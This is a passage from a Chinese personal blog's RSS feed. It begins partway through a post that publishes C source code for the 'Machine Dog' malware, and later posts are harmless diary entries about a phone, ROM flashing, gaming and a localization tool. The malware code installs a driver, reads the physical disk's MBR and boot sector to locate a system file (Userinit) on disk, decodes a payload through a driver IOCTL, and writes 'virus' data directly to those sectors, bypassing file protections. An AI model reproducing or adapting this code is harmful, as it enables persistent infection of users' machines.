if(NULL == (hService = OpenService(hSCManager, TEXT(“PciHdd”), SERVICE_ALL_ACCESS)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit01;<br />
}<br />
ControlService(hService, SERVICE_CONTROL_STOP, &amp;sService);<br />
DeleteService(hService);<br />
CloseServiceHandle(hService);<br />
FunExit01:<br />
CloseServiceHandle(hSCManager);<br />
FunExit00:<br />
ExpandEnvironmentStrings(STR_SYSFILE_PATH, &amp;filePath[0], sizeof(filePath));<br />
DeleteFile(filePath);<br />
return errCode;<br />
}</p>
<p>//========================================================<br />
// 感染硬盘第一个分区的指定的文件<br />
//<br />
// 1)通过FSCTL_GET_RETRIEVAL_POINTERS获取文件数据的分布 信息<br />
//<br />
// 2)通过直接访问硬盘(\\\\.\\PhysicalHardDisk0)的的MDR和第一个分区的引导扇区得到分区参数来定位文件。<br />
//<br />
// 3)通过对比ReadFile读取的文件数据和自己定位后直接 读取所得到的文件数据，确定定位是否正确<br />
//<br />
// 入口参数:<br />
// 要感染的文件名（完整路径）<br />
//<br />
// Return value:<br />
// Success -&gt; NULL<br />
// Failed   -&gt; 指向出错信息的指针<br />
//==========================================================<br />
DWORD WriteVirusToDisk(LPCTSTR VirusFile)<br />
{<br />
STARTING_VCN_INPUT_BUFFER   iVcnBuf;<br />
UCHAR                       oVcnBuf[272];<br />
PRETRIEVAL_POINTERS_BUFFER lpVcnBuf;<br />
DWORD                       dwVcnExtents;<br />
LARGE_INTEGER               startLcn;<br />
PUCHAR                     lpClusterBuf;<br />
DWORD                       dwClusterLen;<br />
UCHAR                       dataBuf[512];<br />
UCHAR                       diskBuf[512];<br />
DWORD                       dataLen;<br />
LARGE_INTEGER               diskPos;<br />
PPARTITION_ENTRY           lpPartition;<br />
ULONG                       dwPartitionStart;<br />
ULONG                       dwPartitionType;<br />
PBBR_SECTOR                 lpBootSector;<br />
DWORD                       SectorsPerCluster;<br />
HANDLE                     hHddDevice;<br />
HANDLE                     hDskDevice;<br />
HANDLE                     hVirusFile;<br />
DWORD                       errCode = ERROR_SUCCESS;<br />
if(INVALID_HANDLE_VALUE == (hHddDevice = CreateFileA(STR_HDDDEVICE_NAME, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit00;<br />
}<br />
//<br />
if(INVALID_HANDLE_VALUE == (hVirusFile = CreateFileA(VirusFile, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_NO_BUFFERING, NULL)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit01;<br />
}<br />
iVcnBuf.StartingVcn.QuadPart = 0;<br />
RtlZeroMemory(oVcnBuf, sizeof(oVcnBuf));<br />
if(!DeviceIoControl(hVirusFile, FSCTL_GET_RETRIEVAL_POINTERS, &amp;iVcnBuf, sizeof(iVcnBuf), &amp;oVcnBuf[0], sizeof(oVcnBuf), &amp;dataLen, NULL))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit02;<br />
}<br />
lpVcnBuf = (PRETRIEVAL_POINTERS_BUFFER)&amp;oVcnBuf[0];<br />
dwVcnExtents = lpVcnBuf-&gt;ExtentCount;<br />
startLcn     = lpVcnBuf-&gt;Extents[0].Lcn;<br />
if(!dwVcnExtents)<br />
{<br />
errCode = (ULONG)(-3); // 文件太小, 不能操作<br />
goto FunExit02;<br />
}<br />
if(startLcn.QuadPart == -1)<br />
{<br />
errCode = (ULONG)(-4); // 该文件是压缩文件, 不能操作<br />
goto FunExit02;<br />
}<br />
ReadFile(hVirusFile, dataBuf, sizeof(dataBuf), &amp;dataLen, NULL);<br />
// 打开第一个物理硬盘<br />
if(INVALID_HANDLE_VALUE == (hDskDevice = CreateFileA(STR_DSKDEVICE_NAME, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit02;<br />
}<br />
// 读取硬盘第一个扇区(MBR)<br />
SetFilePointer(hDskDevice, 0, NULL, FILE_BEGIN);<br />
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &amp;dataLen, NULL);<br />
lpPartition = &amp;(((PMBR_SECTOR)&amp;diskBuf[0])-&gt;Partition[0]);<br />
if(lpPartition[0].active != 0&#215;80)<br />
{<br />
errCode = (ULONG)(-1); // 分区不是启动分区<br />
goto FunExit03;<br />
}<br />
dwPartitionType = lpPartition[0].PartitionType;<br />
if(<br />
dwPartitionType != PARTITION_TYPE_FAT32<br />
&amp;&amp;<br />
dwPartitionType != PARTITION_TYPE_FAT32_LBA<br />
&amp;&amp;<br />
dwPartitionType != PARTITION_TYPE_NTFS<br />
)<br />
{<br />
errCode = (ULONG)(-2); // 不支持的磁盘分区<br />
goto FunExit03;<br />
}<br />
dwPartitionStart = lpPartition[0].StartLBA;<br />
diskPos.QuadPart = dwPartitionStart * 512;<br />
// 读取启动分区的第一个扇区(启动扇区)<br />
SetFilePointer(hDskDevice, diskPos.LowPart, &amp;diskPos.HighPart, FILE_BEGIN);<br />
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &amp;dataLen, NULL);<br />
lpBootSector = (PBBR_SECTOR)&amp;diskBuf[0];<br />
SectorsPerCluster = lpBootSector-&gt;SectorsPerCluster;<br />
// 根据FAT32/NTFS计算Userinit的起始簇的偏移量<br />
diskPos.QuadPart = dwPartitionStart;<br />
diskPos.QuadPart+= lpBootSector-&gt;ReservedSectors;<br />
if(dwPartitionType == PARTITION_TYPE_FAT32 || dwPartitionType == PARTITION_TYPE_FAT32_LBA)<br />
{<br />
diskPos.QuadPart+= lpBootSector-&gt;NumberOfFATs * lpBootSector-&gt;SectorsPerFAT32;<br />
}<br />
diskPos.QuadPart+= startLcn.QuadPart * SectorsPerCluster;<br />
diskPos.QuadPart*= 512;<br />
// 检查文件寻址<br />
SetFilePointer(hDskDevice, diskPos.LowPart, &amp;diskPos.HighPart, FILE_BEGIN);<br />
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &amp;dataLen, NULL);<br />
if(!RtlEqualMemory(dataBuf, diskBuf, sizeof(diskBuf)))<br />
{<br />
errCode = (ULONG)(-5); // 寻址文件不成功<br />
goto FunExit03;<br />
}<br />
// 分配缓冲<br />
dwClusterLen = SectorsPerCluster*512;<br />
lpClusterBuf = (PUCHAR)GlobalAlloc(GMEM_ZEROINIT, dwClusterLen); // 保存一个簇所要的缓冲<br />
if(!lpClusterBuf)<br />
{<br />
errCode = GetLastError(); // 寻址文件不成功<br />
goto FunExit03;<br />
}<br />
// 把Virus文件的数据从SYS文件资源段中解码出来<br />
if(!DeviceIoControl(<br />
hVirusFile,<br />
IOCTL_MYDEV_Fun_0xF01,<br />
(PVOID)0&#215;00401000,         // 本执行文件代码段的开始, 在C语言中我不会表达<br />
0x73E,                     // 本执行文件代码段的长度, 在C语言中我不会表达<br />
lpClusterBuf,<br />
dwClusterLen,<br />
&amp;dataLen,<br />
NULL<br />
))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit04;<br />
}<br />
// 写Virus文件的数据到磁盘<br />
SetFilePointer(hDskDevice, diskPos.LowPart, &amp;diskPos.HighPart, FILE_BEGIN);<br />
WriteFile(hDskDevice, lpClusterBuf, dwClusterLen, &amp;dataLen, NULL);<br />
FlushFileBuffers(hDskDevice);<br />
errCode = ERROR_SUCCESS;<br />
FunExit04:<br />
GlobalFree(lpClusterBuf);<br />
FunExit03:<br />
CloseHandle(hDskDevice);<br />
FunExit02:<br />
CloseHandle(hVirusFile);<br />
FunExit01:<br />
CloseHandle(hHddDevice);<br />
FunExit00:<br />
return errCode;<br />
}</p>
<p>//==========================================================<br />
int _tmain(int argc, _TCHAR* argv[])<br />
{<br />
TCHAR           filePath[MAX_PATH];<br />
DWORD           errCode;<br />
if(ERROR_SUCCESS != (errCode = InstallAndStartDriver(GetM<br />
oduleHandleA(NULL))))<br />
{<br />
MessageBox(NULL, TEXT(“驱动程序的加载没有成功,程序将无法运行”), NULL, MB_ICONERROR);<br />
goto FunExit00;<br />
}<br />
ExpandEnvironmentStrings(STR_VIRFILE_PATH, &amp;filePath[0], sizeof(filePath));<br />
WriteVirusToDisk(filePath);<br />
StopAndDeleteDriver();<br />
FunExit00:<br />
return 0;<br />
}</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2008/03/20/%e6%9c%ba%e5%99%a8%e7%8b%97%e6%ba%90%e7%a0%81%ef%bc%88c%e7%9a%84%ef%bc%89.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>近期工作计划</title>
		<link>http://www.a-boss.com/2007/12/18/%e8%bf%91%e6%9c%9f%e5%b7%a5%e4%bd%9c%e8%ae%a1%e5%88%92.html</link>
		<comments>http://www.a-boss.com/2007/12/18/%e8%bf%91%e6%9c%9f%e5%b7%a5%e4%bd%9c%e8%ae%a1%e5%88%92.html#comments</comments>
		<pubDate>Tue, 18 Dec 2007 13:17:34 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[生活随笔]]></category>
		<category><![CDATA[s1]]></category>
		<category><![CDATA[游戏]]></category>
		<category><![CDATA[计划]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=72</guid>
		<description><![CDATA[不知不觉中，自己又在懒惰中荒废了好长一段时间，前期的计划一直是在停滞状态．该是自己继续的时候了． 昨天也不知让什么冲了头，居然又败了块Ｘ７００的显卡，其实自己除了跑跑外，... ]]></description>
			<content:encoded><![CDATA[<p>不知不觉中，自己又在懒惰中荒废了好长一段时间，前期的计划一直是在停滞状态．该是自己继续的时候了．</p>
<p>昨天也不知让什么冲了头，居然又败了块Ｘ７００的显卡，其实自己除了跑跑外，基本上不玩别的游戏的，也不知道又浪费这二百多大元有什么用，但钱付了，就算了吧．感觉自己总是禁不住诱或．</p>
<p>昨晚加强版的行货rom放出了，等待了许久的时刻终于到了，试着刷了个雅黑版的，没有感觉出有多漂亮来，但最重要的是处女刷很成功．下一步的工作是在本周内，搞定自己的定制rom，S1的目标就完成了．</p>
<p>接下来，就要把我的重心要放到正事上面来了．</p>
<p>但说实在的心里的自信心却一直不那么充分！只能是祈祷了．</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2007/12/18/%e8%bf%91%e6%9c%9f%e5%b7%a5%e4%bd%9c%e8%ae%a1%e5%88%92.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>给别人的一个留言。</title>
		<link>http://www.a-boss.com/2007/12/12/%e7%bb%99%e5%88%ab%e4%ba%ba%e7%9a%84%e4%b8%80%e4%b8%aa%e7%95%99%e8%a8%80%e3%80%82.html</link>
		<comments>http://www.a-boss.com/2007/12/12/%e7%bb%99%e5%88%ab%e4%ba%ba%e7%9a%84%e4%b8%80%e4%b8%aa%e7%95%99%e8%a8%80%e3%80%82.html#comments</comments>
		<pubDate>Wed, 12 Dec 2007 20:21:40 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[生活随笔]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[s1]]></category>
		<category><![CDATA[留言]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=71</guid>
		<description><![CDATA[今天没事的时候，去吕的blog转了圈，发现他也用上了S1，于是激动之下，想留言给他，注册后才发现他的blog全部都做了限制，无法发言，只好把对他说的话放到这里了。 呵呵，我也用S1呢。 前... ]]></description>
			<content:encoded><![CDATA[<p>今天没事的时候，去吕的blog转了圈，发现他也用上了S1，于是激动之下，想留言给他，注册后才发现他的blog全部都做了限制，无法发言，只好把对他说的话放到这里了。</p>
<blockquote><p>呵呵，我也用S1呢。<br />
前段时间把你的blog在我自己的blog上做了个链接，结果有人就联系到我，要我帮他汉化，把我当成你了。后来我告诉他你的blog了，不知道他联系你没有。</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2007/12/12/%e7%bb%99%e5%88%ab%e4%ba%ba%e7%9a%84%e4%b8%80%e4%b8%aa%e7%95%99%e8%a8%80%e3%80%82.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>我的S1汉化软件(新增下载地址)</title>
		<link>http://www.a-boss.com/2007/12/11/%e6%88%91%e7%9a%84s1%e6%b1%89%e5%8c%96%e8%bd%af%e4%bb%b6%e6%96%b0%e5%a2%9e%e4%b8%8b%e8%bd%bd%e5%9c%b0%e5%9d%80.html</link>
		<comments>http://www.a-boss.com/2007/12/11/%e6%88%91%e7%9a%84s1%e6%b1%89%e5%8c%96%e8%bd%af%e4%bb%b6%e6%96%b0%e5%a2%9e%e4%b8%8b%e8%bd%bd%e5%9c%b0%e5%9d%80.html#comments</comments>
		<pubDate>Tue, 11 Dec 2007 01:14:20 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[生活随笔]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[s1]]></category>
		<category><![CDATA[测试]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[软件]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=70</guid>
		<description><![CDATA[基于我的S1软件需要，一个PPC上能用的女性生理周期软件，但在网上搜了好久，也没有找到一个满意的程序，偶然的一次机会，发现了一个smartphone上用的软件，但在PPC上却显示不正常，于是找... ]]></description>
			<content:encoded><![CDATA[<p>基于我的S1软件需要，一个PPC上能用的女性生理周期软件，但在网上搜了好久，也没有找到一个满意的程序，偶然的一次机会，发现了一个smartphone上用的软件，但在PPC上却显示不正常，于是找该软件的PPC版本，因为开发公司已经没有了，软件费了很大劲才找到，但却是英文版的，没有中文版。无奈之下，自己架电脑自己汉化，本来很少的一个程序，工作量也不大，但在汉化标签的时候却碰上了一个很大难题，涉及到断行的问题，因为没有找到相关的材料，只能是自己摸索着去试验，这下耗费了不少的时间，成了纯粹的体力工作，真是累呀。过几天测试完贴上来，共享下。</p>
<p>我的加强版是个二吊子，一直在等行货的中文版ROM，而论坛现在虽然有了，但却只对ＶＩＰ开放，只能再等一段时间再用了。期待一个正式的ＲＯＭ，然后自己定制一个自己的ＲＯＭ，就像当初玩ＳＸ１时的刷机一样。乐趣无穷呀！</p>
<p><a title="http://bbs.pdafans.com/attachment.php?aid=709128" href="http://bbs.pdafans.com/attachment.php?aid=709128" target="_blank">下载地址 </a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2007/12/11/%e6%88%91%e7%9a%84s1%e6%b1%89%e5%8c%96%e8%bd%af%e4%bb%b6%e6%96%b0%e5%a2%9e%e4%b8%8b%e8%bd%bd%e5%9c%b0%e5%9d%80.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>新败了个多普达Ｓ１加强版</title>
		<link>http://www.a-boss.com/2007/12/04/%e6%96%b0%e8%b4%a5%e4%ba%86%e4%b8%aa%e5%a4%9a%e6%99%ae%e8%be%be%ef%bd%93%ef%bc%91%e5%8a%a0%e5%bc%ba%e7%89%88.html</link>
		<comments>http://www.a-boss.com/2007/12/04/%e6%96%b0%e8%b4%a5%e4%ba%86%e4%b8%aa%e5%a4%9a%e6%99%ae%e8%be%be%ef%bd%93%ef%bc%91%e5%8a%a0%e5%bc%ba%e7%89%88.html#comments</comments>
		<pubDate>Tue, 04 Dec 2007 08:38:44 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[生活随笔]]></category>
		<category><![CDATA[s1]]></category>
		<category><![CDATA[学习]]></category>
		<category><![CDATA[手机]]></category>
		<category><![CDATA[游戏]]></category>
		<category><![CDATA[记录]]></category>
		<category><![CDATA[跑跑卡丁车]]></category>
		<category><![CDATA[车]]></category>
		<category><![CDATA[软件]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=68</guid>
		<description><![CDATA[许久没有来更新了,这段时间不是生病就是忙着学习新手机的功能,有点玩物丧志的感觉了．对于这个新的手机系统因为是第一次深入的研究，了解起来有点吃力，找了一大堆软件，然后试用，反... ]]></description>
			<content:encoded><![CDATA[<p>许久没有来更新了,这段时间不是生病就是忙着学习新手机的功能,有点玩物丧志的感觉了．对于这个新的手机系统因为是第一次深入的研究，了解起来有点吃力，找了一大堆软件，然后试用，反复折腾好久，真是浪费时间了．准备把一手机的部分心得及软件也在这里记录下．</p>
<p>这两天总算感觉安静了下来，应该开始自己的正事了．但感觉没有人帮忙，自己做起来真的好吃力，明显感觉自己的能力实在是有限呀，真没有这方面的天赋．</p>
<p>这些日子游戏也玩得多了些，没事就是跑跑卡丁车，当然技术还算是可以吧．但现在也玩腻了，应该放一段时间了．</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2007/12/04/%e6%96%b0%e8%b4%a5%e4%ba%86%e4%b8%aa%e5%a4%9a%e6%99%ae%e8%be%be%ef%bd%93%ef%bc%91%e5%8a%a0%e5%bc%ba%e7%89%88.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

